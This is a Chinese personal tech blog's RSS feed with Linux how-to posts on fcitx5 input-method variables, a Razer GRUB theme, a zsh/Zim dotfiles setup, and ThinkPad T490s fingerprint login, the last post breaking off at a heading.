<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>Casear的技术栈</title>
        <link>https://www.casear.net/</link>
        <description>如果你有机会到好望角，请在海边的石头上刻下我的故事👨‍💻</description>
        <lastBuildDate>Tue, 16 Jun 2026 13:03:01 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>Feed for VanBlog</generator>
        <language>	zh-cn</language>
        <image>
            <title>Casear的技术栈</title>
            <url>https://img.casear.net/img/eae10f098ce1f671fa0e60d899bf545e.avatar.svg</url>
            <link>https://www.casear.net/</link>
        </image>
        <copyright>All rights reserved 2026, Casear</copyright>
        <item>
            <title><![CDATA[Fcitx5 输入法配置:切换中文输入法]]></title>
            <link>https://www.casear.net/post/66</link>
            <guid>https://www.casear.net/post/66</guid>
            <pubDate>Tue, 26 May 2026 17:15:47 GMT</pubDate>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <!-- more -->
<h1>Fcitx5 输入法配置:解决装好后无法切换中文输入法的问题</h1>
<p>装完 fcitx5 之后,记得要在系统设置里启用它。但这时我们万万没想到——居然切换不了输入法。</p>
<p>问题出在环境变量上。本文记录配置环境变量让 fcitx5 真正生效的完整过程。</p>
<hr>
<h2>1. 设置环境变量</h2>
<p>需要让系统识别 fcitx 作为输入法模块,有两种常见做法。</p>
<p>更推荐方法1，WeChat等应用会出现无法切换输入法和输入中午的时候就使用方法1</p>
<p>在kubuntu Fedora Arch 测试均有效果</p>
<h3>方式一:写入 <code>/etc/environment</code></h3>
<p><code>/etc/environment</code> 是<strong>整个系统的环境变量</strong>,在所有进程启动时都会被读取。在文件中加入:</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-attr">GTK_IM_MODULE</span>=fcitx
<span class="hljs-attr">QT_IM_MODULE</span>=fcitx
<span class="hljs-attr">XMODIFIERS</span>=@im=fcitx
</code></pre>
<h3>方式二:写入 <code>~/.profile</code></h3>
<p><code>~/.profile</code> 是<strong>某用户的环境变量</strong>,启动过程中桌面会话期间由 DisplayManager 自动执行,从文本控制台登录时则由登录 shell 自动执行。如果这个文件不存在,自己新建一个即可。</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">export</span> GTK_IM_MODULE=fcitx
<span class="hljs-built_in">export</span> QT_IM_MODULE=fcitx
<span class="hljs-built_in">export</span> XMODIFIERS=@im=fcitx
</code></pre>
<blockquote>
<p>注意:虽然 fcitx5 是新版本,但环境变量的值仍然写 <code>fcitx</code>,而不是 <code>fcitx5</code>。这是 fcitx5 官方的兼容设计。</p>
</blockquote>
<p>还可以写入其它配置文件(如 <code>~/.xprofile</code>、<code>~/.bash_profile</code> 等),不一一举例了。要注意有些配置文件在某些登录场景下可能不会被加载,所以不一定起作用。</p>
<hr>
<h2>2. 查看环境变量是否生效</h2>
<p>在终端运行:</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">export</span>
</code></pre>
<p>如果输出里<strong>没有</strong>以下变量,说明配置还未生效:</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-attr">GTK_IM_MODULE</span>=fcitx
<span class="hljs-attr">QT_IM_MODULE</span>=fcitx
<span class="hljs-attr">XMODIFIERS</span>=@im=fcitx
</code></pre>
<p>这是因为 <code>/etc/environment</code> 和 <code>~/.profile</code> 都是在登录时由系统加载的,改完之后当前会话并不会立即应用。</p>
<hr>
<h2>3. 注销并重新登录</h2>
<p>注销重新登录,系统就会重新加载配置文件。之后再在终端执行 <code>export</code>,就能看到上面那三个变量了——说明配置生效。</p>
<p>此时回到任何文本输入框,就会发现可以正常切换中文输入法了。</p>
<p>如果有需要,可以在 fcitx5 配置里添加对应的输入法引擎(如拼音、五笔等),不过装好后通常已经自动添加了默认输入法。</p>
<hr>
<h2>参考资料</h2>
<ul>
<li><a href="https://fcitx-im.org/wiki/Setup_Fcitx_5">Setup Fcitx 5 — Fcitx 官方文档</a></li>
<li><a href="https://fcitx-im.org/wiki/Input_method_related_environment_variables">Input method related environment variables — Fcitx 官方文档</a></li>
</ul>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/Linux">Linux</category>
        </item>
        <item>
            <title><![CDATA[Razer_GRUB_Theme]]></title>
            <link>https://www.casear.net/post/65</link>
            <guid>https://www.casear.net/post/65</guid>
            <pubDate>Tue, 26 May 2026 17:16:14 GMT</pubDate>
            <description><![CDATA[<h1>Razer_GRUB_Theme</h1>
<p>Razer粉丝专属GRUB主题</p>
<p><img src="https://img.casear.net/img/74b7fe812b0763d7aefd560805186519.image.webp" alt="image.png"></p>
]]></description>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <h1>Razer_GRUB_Theme</h1>
<p>Razer粉丝专属GRUB主题</p>
<p><img src="https://img.casear.net/img/74b7fe812b0763d7aefd560805186519.image.webp" alt="image.png"></p>
<!-- more -->
<h2>开始</h2>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>git <span class="hljs-built_in">clone</span> https://github.com/CasearF/Razer_GRUB_Theme.git
<span class="hljs-built_in">cd</span> Razer_GRUB_Theme
<span class="hljs-built_in">chmod</span> +x install.sh
<span class="hljs-built_in">sudo</span> ./install.sh           <span class="hljs-comment"># interactive menu</span>
</code></pre>
<p>安装程序接受可选命令，因此可以编写脚本：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">sudo</span> ./install.sh install   <span class="hljs-comment"># install + activate the Razer theme</span>
<span class="hljs-built_in">sudo</span> ./install.sh switch    <span class="hljs-comment"># pick from themes already under /boot/grub/themes</span>
<span class="hljs-built_in">sudo</span> ./install.sh remove    <span class="hljs-comment"># disable any active theme (files stay)</span>
./install.sh status         <span class="hljs-comment"># show current theme + installed ones (no root needed)</span>
./install.sh <span class="hljs-built_in">help</span>
</code></pre>
<h2>Credits</h2>
<p>布局改编自<a href="https://github.com/thekarananand/ROG_GRUB_Theme">ROG_GRUB_Theme</a>,<br>
，重新着色为 Razer 调色板（#44D62C），并带有 Razer 文字商标。</p>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/Linux">Linux</category>
        </item>
        <item>
            <title><![CDATA[zsh 环境配置]]></title>
            <link>https://www.casear.net/post/64</link>
            <guid>https://www.casear.net/post/64</guid>
            <pubDate>Sun, 17 May 2026 13:15:25 GMT</pubDate>
            <description><![CDATA[<h1>服务器 zsh 环境配置记录：Zim + p10k + eza + zoxide</h1>
<p>记录从零搭建服务器 zsh 环境的过程，包含踩过的坑。配置已整理成 dotfiles 仓库，新服务器一键部署。</p>
<p><strong>环境</strong>：Ubuntu 24.04 / Debian 12，zsh + Zim 框架</p>
<p><strong>最终工具栈</strong>：</p>
<table>
<thead>
<tr>
<th>工具</th>
<th>作用</th>
</tr>
</thead>
<tbody>
<tr>
<td>Zim</td>
<td>zsh 框架，比 oh-my-zsh 轻，启动快</td>
</tr>
<tr>
<td>Powerlevel10k</td>
<td>提示符主题</td>
</tr>
<tr>
<td>eza</td>
<td>带图标的 ls 替代，支持 git 状态列</td>
</tr>
<tr>
<td>zoxide</td>
<td>智能目录跳转，记住历史，<code>z 关键词</code> 直达</td>
</tr>
<tr>
<td>fzf</td>
<td>模糊查找，<code>Ctrl+R</code> 历史搜索、<code>Ctrl+T</code> 文件选择</td>
</tr>
<tr>
<td>bat</td>
<td>带语法高亮的 cat（Debian/Ubuntu 上命令名为 batcat）</td>
</tr>
</tbody>
</table>
<hr>
]]></description>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <h1>服务器 zsh 环境配置记录：Zim + p10k + eza + zoxide</h1>
<p>记录从零搭建服务器 zsh 环境的过程，包含踩过的坑。配置已整理成 dotfiles 仓库，新服务器一键部署。</p>
<p><strong>环境</strong>：Ubuntu 24.04 / Debian 12，zsh + Zim 框架</p>
<p><strong>最终工具栈</strong>：</p>
<table>
<thead>
<tr>
<th>工具</th>
<th>作用</th>
</tr>
</thead>
<tbody>
<tr>
<td>Zim</td>
<td>zsh 框架，比 oh-my-zsh 轻，启动快</td>
</tr>
<tr>
<td>Powerlevel10k</td>
<td>提示符主题</td>
</tr>
<tr>
<td>eza</td>
<td>带图标的 ls 替代，支持 git 状态列</td>
</tr>
<tr>
<td>zoxide</td>
<td>智能目录跳转，记住历史，<code>z 关键词</code> 直达</td>
</tr>
<tr>
<td>fzf</td>
<td>模糊查找，<code>Ctrl+R</code> 历史搜索、<code>Ctrl+T</code> 文件选择</td>
</tr>
<tr>
<td>bat</td>
<td>带语法高亮的 cat（Debian/Ubuntu 上命令名为 batcat）</td>
</tr>
</tbody>
</table>
<hr>
<!-- more -->
<h2>字体</h2>
<p><strong>先做这一步</strong>，否则 eza 图标会显示成方块。</p>
<p>eza 的图标由<strong>本地终端</strong>渲染，服务器不需要装字体。SSH 连服务器时，字符渲染在本地做，改的是本地终端的字体配置。</p>
<p>下载 <strong>0xProto Nerd Font</strong>：<a href="https://www.nerdfonts.com">nerdfonts.com</a></p>
<p>装完在终端设置里切换字体。Windows Terminal 注意：每个 profile 可以单独设字体，改的要是你 SSH 用的那个 profile，不是默认 profile。</p>
<hr>
<h2>配置文件</h2>
<h3><code>.zshenv</code></h3>
<p>比 <code>/etc/zsh/zshrc</code> 更早加载，用来解决 compinit 重复初始化的问题（见下方坑点记录）。</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>skip_global_compinit=1
</code></pre>
<h3><code>.zimrc</code></h3>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-comment"># 基础模块</span>
zmodule environment
zmodule input
zmodule termtitle
zmodule utility

<span class="hljs-comment"># Git</span>
zmodule git
zmodule wfxr/forgit          <span class="hljs-comment"># fzf 加持的 git 交互工具</span>

<span class="hljs-comment"># 主题</span>
zmodule duration-info
zmodule git-info
zmodule romkatv/powerlevel10k

<span class="hljs-comment"># 补全（必须在普通模块之后）</span>
zmodule zsh-users/zsh-completions --fpath src
zmodule completion

<span class="hljs-comment"># 必须最后加载</span>
zmodule zsh-users/zsh-syntax-highlighting
zmodule zsh-users/zsh-history-substring-search
zmodule zsh-users/zsh-autosuggestions
</code></pre>
<h3><code>.zshrc</code></h3>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-comment"># =========================</span>
<span class="hljs-comment"># ZSH CONFIG</span>
<span class="hljs-comment"># =========================</span>

<span class="hljs-comment"># p10k instant prompt（必须最顶部）</span>
<span class="hljs-keyword">if</span> [[ -r <span class="hljs-string">&quot;<span class="hljs-variable">${XDG_CACHE_HOME:-<span class="hljs-variable">$HOME</span>/.cache}</span>/p10k-instant-prompt-<span class="hljs-variable">${(%):-%n}</span>.zsh&quot;</span> ]]; <span class="hljs-keyword">then</span>
  <span class="hljs-built_in">source</span> <span class="hljs-string">&quot;<span class="hljs-variable">${XDG_CACHE_HOME:-<span class="hljs-variable">$HOME</span>/.cache}</span>/p10k-instant-prompt-<span class="hljs-variable">${(%):-%n}</span>.zsh&quot;</span>
<span class="hljs-keyword">fi</span>

<span class="hljs-comment"># Zim 初始化</span>
ZIM_HOME=<span class="hljs-variable">${ZDOTDIR:-<span class="hljs-variable">$HOME</span>}</span>/.zim
<span class="hljs-built_in">source</span> <span class="hljs-variable">${ZIM_HOME}</span>/init.zsh

<span class="hljs-comment"># 基础环境变量</span>
<span class="hljs-built_in">export</span> LANG=en_US.UTF-8
<span class="hljs-built_in">export</span> LC_ALL=en_US.UTF-8
<span class="hljs-built_in">export</span> EDITOR=vim
<span class="hljs-built_in">export</span> VISUAL=vim

<span class="hljs-comment"># 历史记录</span>
HISTSIZE=50000
SAVEHIST=50000
HISTFILE=~/.zsh_history
<span class="hljs-built_in">setopt</span> APPEND_HISTORY
<span class="hljs-built_in">setopt</span> SHARE_HISTORY          <span class="hljs-comment"># 跨会话共享</span>
<span class="hljs-built_in">setopt</span> HIST_IGNORE_ALL_DUPS   <span class="hljs-comment"># 去重</span>
<span class="hljs-built_in">setopt</span> HIST_REDUCE_BLANKS
<span class="hljs-built_in">setopt</span> HIST_IGNORE_SPACE      <span class="hljs-comment"># 空格开头不入历史（用于敏感命令）</span>

<span class="hljs-comment"># 补全</span>
<span class="hljs-built_in">setopt</span> AUTO_MENU
<span class="hljs-built_in">setopt</span> COMPLETE_IN_WORD

<span class="hljs-comment"># 目录</span>
<span class="hljs-built_in">setopt</span> AUTO_CD

<span class="hljs-comment"># p10k 主题</span>
[[ -f ~/.p10k.zsh ]] &amp;&amp; <span class="hljs-built_in">source</span> ~/.p10k.zsh

<span class="hljs-comment"># ----------------------------</span>
<span class="hljs-comment"># Aliases</span>
<span class="hljs-comment"># ----------------------------</span>

<span class="hljs-comment"># eza</span>
<span class="hljs-built_in">alias</span> <span class="hljs-built_in">ls</span>=<span class="hljs-string">&#x27;eza --icons --group-directories-first&#x27;</span>
<span class="hljs-built_in">alias</span> ll=<span class="hljs-string">&#x27;eza -alF --icons --group-directories-first --git --header --time-style=relative&#x27;</span>
<span class="hljs-built_in">alias</span> la=<span class="hljs-string">&#x27;eza -A --icons --group-directories-first&#x27;</span>
<span class="hljs-built_in">alias</span> l=<span class="hljs-string">&#x27;eza --icons --group-directories-first&#x27;</span>
<span class="hljs-built_in">alias</span> lt=<span class="hljs-string">&#x27;eza --tree --icons --level=2&#x27;</span>
<span class="hljs-built_in">alias</span> lt3=<span class="hljs-string">&#x27;eza --tree --icons --level=3&#x27;</span>

<span class="hljs-comment"># bat</span>
<span class="hljs-built_in">alias</span> <span class="hljs-built_in">cat</span>=<span class="hljs-string">&#x27;batcat --paging=never&#x27;</span>
<span class="hljs-built_in">alias</span> bat=<span class="hljs-string">&#x27;batcat&#x27;</span>

<span class="hljs-comment"># 目录跳转</span>
<span class="hljs-built_in">alias</span> ..=<span class="hljs-string">&#x27;cd ..&#x27;</span>
<span class="hljs-built_in">alias</span> ...=<span class="hljs-string">&#x27;cd ../..&#x27;</span>

<span class="hljs-comment"># 危险操作加确认（服务器上手滑代价大）</span>
<span class="hljs-built_in">alias</span> <span class="hljs-built_in">rm</span>=<span class="hljs-string">&#x27;rm -i&#x27;</span>
<span class="hljs-built_in">alias</span> <span class="hljs-built_in">cp</span>=<span class="hljs-string">&#x27;cp -i&#x27;</span>
<span class="hljs-built_in">alias</span> <span class="hljs-built_in">mv</span>=<span class="hljs-string">&#x27;mv -i&#x27;</span>

<span class="hljs-comment"># grep</span>
<span class="hljs-built_in">alias</span> grep=<span class="hljs-string">&#x27;grep --color=auto&#x27;</span>

<span class="hljs-comment"># Git</span>
<span class="hljs-built_in">alias</span> gs=<span class="hljs-string">&#x27;git status&#x27;</span>
<span class="hljs-built_in">alias</span> ga=<span class="hljs-string">&#x27;git add&#x27;</span>
<span class="hljs-built_in">alias</span> gc=<span class="hljs-string">&#x27;git commit&#x27;</span>
<span class="hljs-built_in">alias</span> gp=<span class="hljs-string">&#x27;git push&#x27;</span>
<span class="hljs-built_in">alias</span> gl=<span class="hljs-string">&#x27;git log --oneline --graph --decorate&#x27;</span>

<span class="hljs-comment"># Docker</span>
<span class="hljs-built_in">alias</span> dps=<span class="hljs-string">&#x27;docker ps&#x27;</span>
<span class="hljs-built_in">alias</span> dpa=<span class="hljs-string">&#x27;docker ps -a&#x27;</span>
<span class="hljs-built_in">alias</span> di=<span class="hljs-string">&#x27;docker images&#x27;</span>
<span class="hljs-built_in">alias</span> dlog=<span class="hljs-string">&#x27;docker logs -f&#x27;</span>
<span class="hljs-built_in">alias</span> dex=<span class="hljs-string">&#x27;docker exec -it&#x27;</span>

<span class="hljs-comment"># Systemd</span>
<span class="hljs-built_in">alias</span> sctl=<span class="hljs-string">&#x27;systemctl&#x27;</span>
<span class="hljs-built_in">alias</span> sstart=<span class="hljs-string">&#x27;systemctl start&#x27;</span>
<span class="hljs-built_in">alias</span> sstop=<span class="hljs-string">&#x27;systemctl stop&#x27;</span>
<span class="hljs-built_in">alias</span> sstat=<span class="hljs-string">&#x27;systemctl status&#x27;</span>
<span class="hljs-built_in">alias</span> srestart=<span class="hljs-string">&#x27;systemctl restart&#x27;</span>

<span class="hljs-comment"># Network</span>
<span class="hljs-built_in">alias</span> ports=<span class="hljs-string">&#x27;ss -tulnp&#x27;</span>
<span class="hljs-built_in">alias</span> myip=<span class="hljs-string">&#x27;curl -s --max-time 5 ifconfig.me&#x27;</span>

<span class="hljs-comment"># Process</span>
<span class="hljs-built_in">alias</span> psg=<span class="hljs-string">&#x27;ps aux | grep&#x27;</span>

<span class="hljs-comment"># ----------------------------</span>
<span class="hljs-comment"># 性能</span>
<span class="hljs-comment"># ----------------------------</span>
<span class="hljs-built_in">export</span> KEYTIMEOUT=1

<span class="hljs-comment"># ----------------------------</span>
<span class="hljs-comment"># 函数</span>
<span class="hljs-comment"># ----------------------------</span>

<span class="hljs-comment"># mkdir + cd</span>
<span class="hljs-function"><span class="hljs-title">mkcd</span></span>() { <span class="hljs-built_in">mkdir</span> -p <span class="hljs-string">&quot;<span class="hljs-variable">$1</span>&quot;</span> &amp;&amp; <span class="hljs-built_in">cd</span> <span class="hljs-string">&quot;<span class="hljs-variable">$1</span>&quot;</span> }

<span class="hljs-comment"># 通用解压</span>
<span class="hljs-function"><span class="hljs-title">extract</span></span>() {
  <span class="hljs-keyword">if</span> [ ! -f <span class="hljs-string">&quot;<span class="hljs-variable">$1</span>&quot;</span> ]; <span class="hljs-keyword">then</span> <span class="hljs-built_in">echo</span> <span class="hljs-string">&quot;&#x27;<span class="hljs-variable">$1</span>&#x27; is not a valid file&quot;</span>; <span class="hljs-built_in">return</span> 1; <span class="hljs-keyword">fi</span>
  <span class="hljs-keyword">case</span> <span class="hljs-string">&quot;<span class="hljs-variable">$1</span>&quot;</span> <span class="hljs-keyword">in</span>
    *.tar.bz2)  tar xjf <span class="hljs-string">&quot;<span class="hljs-variable">$1</span>&quot;</span> ;;
    *.tar.gz)   tar xzf <span class="hljs-string">&quot;<span class="hljs-variable">$1</span>&quot;</span> ;;
    *.tar.xz)   tar xJf <span class="hljs-string">&quot;<span class="hljs-variable">$1</span>&quot;</span> ;;
    *.tar)      tar xf <span class="hljs-string">&quot;<span class="hljs-variable">$1</span>&quot;</span>  ;;
    *.bz2)      bunzip2 <span class="hljs-string">&quot;<span class="hljs-variable">$1</span>&quot;</span> ;;
    *.gz)       gunzip <span class="hljs-string">&quot;<span class="hljs-variable">$1</span>&quot;</span>  ;;
    *.zip)      unzip <span class="hljs-string">&quot;<span class="hljs-variable">$1</span>&quot;</span>   ;;
    *.7z)       7z x <span class="hljs-string">&quot;<span class="hljs-variable">$1</span>&quot;</span>    ;;
    *.rar)      unrar x <span class="hljs-string">&quot;<span class="hljs-variable">$1</span>&quot;</span> ;;
    *) <span class="hljs-built_in">echo</span> <span class="hljs-string">&quot;Unknown format: <span class="hljs-variable">$1</span>&quot;</span> ;;
  <span class="hljs-keyword">esac</span>
}

<span class="hljs-comment"># ----------------------------</span>
<span class="hljs-comment"># 工具初始化（放文件末尾）</span>
<span class="hljs-comment"># ----------------------------</span>
<span class="hljs-built_in">eval</span> <span class="hljs-string">&quot;<span class="hljs-subst">$(zoxide init zsh)</span>&quot;</span>
<span class="hljs-built_in">source</span> &lt;(fzf --zsh)
</code></pre>
<hr>
<h2>踩坑记录</h2>
<h3>启动时 compinit 重复初始化</h3>
<p><strong>表现</strong></p>
<pre><code>warning: completion was already initialized before completion module.
Will call compinit again.
</code></pre>
<p>同时 p10k 弹 instant prompt 警告——p10k 只是信使，检测到启动期间有输出就报警，真正的根因是上面那行。</p>
<p><strong>根因</strong></p>
<p>Ubuntu/Debian 的 <code>/etc/zsh/zshrc</code> 在系统层面调了一次 <code>compinit</code>，Zim 的 <code>completion</code> 模块又调一次，重复了。</p>
<p>定位方法：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>zsh -xic <span class="hljs-built_in">exit</span> 2&gt;&amp;1 | grep <span class="hljs-string">&quot;compinit&quot;</span> | <span class="hljs-built_in">head</span>
</code></pre>
<p>输出里能看到 <code>+/etc/zsh/zshrc:111&gt; compinit</code>，确认是系统配置先调的。</p>
<p><strong>解法</strong></p>
<p>创建 <code>~/.zshenv</code>，写入：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>skip_global_compinit=1
</code></pre>
<p><code>.zshenv</code> 比 <code>/etc/zsh/zshrc</code> 更早加载。Debian/Ubuntu 的系统 zshrc 在调 <code>compinit</code> 前会检查这个变量，值为 1 就跳过。Zim 的 <code>completion</code> 模块成为唯一一次初始化，警告消失。</p>
<p>验证系统是否支持该变量：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>grep -n <span class="hljs-string">&quot;skip_global_compinit&quot;</span> /etc/zsh/zshrc
</code></pre>
<p>有输出即支持。</p>
<hr>
<h3>Windows 编辑配置文件导致 CRLF 污染</h3>
<p><strong>表现</strong></p>
<pre><code>/home/csr/.zimrc:4: command not found: ^M
fatal: unable to access 'https://github.com/zimfw/environment?.git/':
  URL rejected: Malformed input to a URL function
</code></pre>
<p><code>^M</code> 是 Windows 的回车符 <code>\r</code>。<code>zmodule environment</code> 变成了 <code>zmodule environment\r</code>，git clone 的 URL 里带了非法字符。</p>
<p><strong>根因</strong></p>
<p>在 Windows 上用编辑器（VS Code 默认）保存文件时，换行符是 CRLF（<code>\r\n</code>），Linux/zsh 需要 LF（<code>\n</code>）。</p>
<p><strong>三层解法</strong></p>
<ol>
<li><strong>编辑器层</strong>：VS Code 右下角点 <code>CRLF</code> 切成 <code>LF</code> 再保存</li>
<li><strong>仓库层</strong>：加 <code>.gitattributes</code>，强制所有文件 LF</li>
</ol>
<pre><code>*           text=auto eol=lf
*.sh        text eol=lf
.zshrc      text eol=lf
.zimrc      text eol=lf
.zshenv     text eol=lf
</code></pre>
<p>提交时加一步规范化：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>git add --renormalize .
</code></pre>
<ol start="3">
<li><strong>部署层</strong>：<code>deploy()</code> 函数里用 <code>sed</code> 在落盘前清洗</li>
</ol>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>sed <span class="hljs-string">&#x27;s/\r$//&#x27;</span> <span class="hljs-string">&quot;<span class="hljs-variable">$src</span>&quot;</span> &gt; <span class="hljs-string">&quot;<span class="hljs-variable">$dst</span>&quot;</span>
</code></pre>
<p>最后一道兜底，即使仓库里偶尔带了 <code>\r</code>，落到目标机器也是干净的。</p>
<hr>
<h3>Zim 安装脚本不能用 <code>| bash</code> 执行</h3>
<p><strong>表现</strong></p>
<pre><code>You must use zsh to run install.zsh
curl: (23) Failure writing output to destination
</code></pre>
<p><strong>根因</strong></p>
<p>Zim 的安装脚本是 <code>.zsh</code> 文件，必须用 <code>zsh</code> 执行。<code>| bash</code> 会把脚本内容塞给 bash，bash 检测到不是 zsh 就退出，curl 那端管道断了所以报写入失败。</p>
<p><strong>解法</strong></p>
<p>先下载到临时文件，再明确用 <code>zsh</code> 执行：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>curl -fsSL https://raw.githubusercontent.com/zimfw/install/master/install.zsh \
  -o /tmp/zim-install.zsh
zsh /tmp/zim-install.zsh
<span class="hljs-built_in">rm</span> -f /tmp/zim-install.zsh
</code></pre>
<hr>
<h2>一键部署</h2>
<p>配置托管在 GitHub：<a href="https://github.com/CasearF/dotfiles">github.com/CasearF/dotfiles</a></p>
<p>新服务器部署：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>git <span class="hljs-built_in">clone</span> https://github.com/CasearF/dotfiles.git ~/dotfiles
<span class="hljs-built_in">cd</span> ~/dotfiles &amp;&amp; <span class="hljs-built_in">chmod</span> +x install.sh &amp;&amp; ./install.sh
<span class="hljs-built_in">exec</span> zsh
</code></pre>
<p><code>install.sh</code> 自动完成：zsh/git/curl/unzip 检测安装 → eza/zoxide/fzf/bat 安装 → Zim 安装 → 旧配置备份（<code>.bak-时间戳</code>）→ 配置部署（自动清 CRLF）→ Zim 模块安装 → 设 zsh 为默认 shell。</p>
<hr>
<h2>验收</h2>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">exec</span> zsh

ll                    <span class="hljs-comment"># eza：图标 + 目录排前 + git 列</span>
z some-dir            <span class="hljs-comment"># zoxide：模糊跳转</span>
Ctrl+R                <span class="hljs-comment"># fzf：历史模糊搜索</span>
bat ~/.zshrc          <span class="hljs-comment"># bat：语法高亮</span>
</code></pre>
<p>启动无 compinit 警告，五项全绿即完工。</p>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/Linux">Linux</category>
        </item>
        <item>
            <title><![CDATA[# ThinkPad T490s Linux 指纹模块启用指南（KDE / Kubuntu）]]></title>
            <link>https://www.casear.net/post/63</link>
            <guid>https://www.casear.net/post/63</guid>
            <pubDate>Tue, 28 Apr 2026 01:35:39 GMT</pubDate>
            <description><![CDATA[<h1>ThinkPad T490s Linux 指纹模块启用指南（KDE / Kubuntu）</h1>
<blockquote>
<p>设备：ThinkPad T490s<br>
系统：Kubuntu / Ubuntu KDE / 其他 Linux<br>
桌面环境：KDE Plasma<br>
功能目标：启用指纹登录、sudo 指纹验证、锁屏解锁</p>
</blockquote>
<hr>
<h1>一、确认指纹模块是否可用</h1>
<p>安装指纹组件：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">sudo</span> apt update
<span class="hljs-built_in">sudo</span> apt install -y fprintd libpam-fprintd
</code></pre>
<p>录入指纹：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>fprintd-enroll
</code></pre>
<p>根据提示多次按压手指。</p>
<p>验证指纹：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>fprintd-verify
</code></pre>
<p>如果显示：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>Verify result: verify-match
</code></pre>
<p>说明设备已正常工作。</p>
<hr>
<h1>二、启用 sudo 指纹认证</h1>
<p>执行：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">sudo</span> pam-auth-update
</code></pre>
<p>在弹出的界面中勾选：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>Fingerprint authentication
</code></pre>
<p>保存退出。</p>
<p>测试：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">sudo</span> <span class="hljs-built_in">ls</span> /
</code></pre>
<p>提示认证时按压指纹即可。</p>
<hr>
<h1>三、启用登录界面指纹</h1>
<p>KDE 默认登录管理器为 SDDM。</p>
<p>检查当前登录管理器：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">cat</span> /etc/X11/default-display-manager
</code></pre>
<p>若输出：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>/usr/bin/sddm
</code></pre>
<p>说明使用的是 KDE 默认登录器。</p>
<p>然后注销系统，在登录界面测试指纹登录。</p>
<hr>
<h1>四、启用锁屏指纹解锁</h1>
<p>锁屏快捷键：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>Win + L
</code></pre>
<p>锁屏后尝试按压指纹。</p>
<p>若部分系统未启用，可安装：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">sudo</span> apt install -y kscreenlocker
</code></pre>
<hr>
<h1>五、常见问题修复</h1>
<h2>1. 指纹服务异常</h2>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>systemctl restart fprintd
</code></pre>
<h2>2. 删除并重新录入指纹</h2>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>fprintd-delete <span class="hljs-variable">$USER</span>
fprintd-enroll
</code></pre>
<h2>3. 查看已录入指纹</h2>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>fprintd-list <span class="hljs-variable">$USER</span>
</code></pre>
<hr>
<h1>六、安全建议</h1>
<p>建议保留密码登录作为备用方案：</p>
<ul>
<li>指纹识别失败时可回退密码</li>
<li>更新系统后可避免 PAM 配置异常</li>
<li>首次启动部分场景仍需密码</li>
</ul>
<hr>
<h1>七、最终效果</h1>
<p>启用后可实现：</p>
<ul>
<li>系统登录使用指纹</li>
<li>sudo 提权使用指纹</li>
<li>锁屏解锁使用指纹</li>
</ul>
<hr>
<h1>八、适用机型说明</h1>
<p>ThinkPad T490s 大多数指纹模块在 Linux 下兼容良好，尤其 Synaptics 型号支持度较高。</p>
<hr>
<h1>九、一键安装命令</h1>
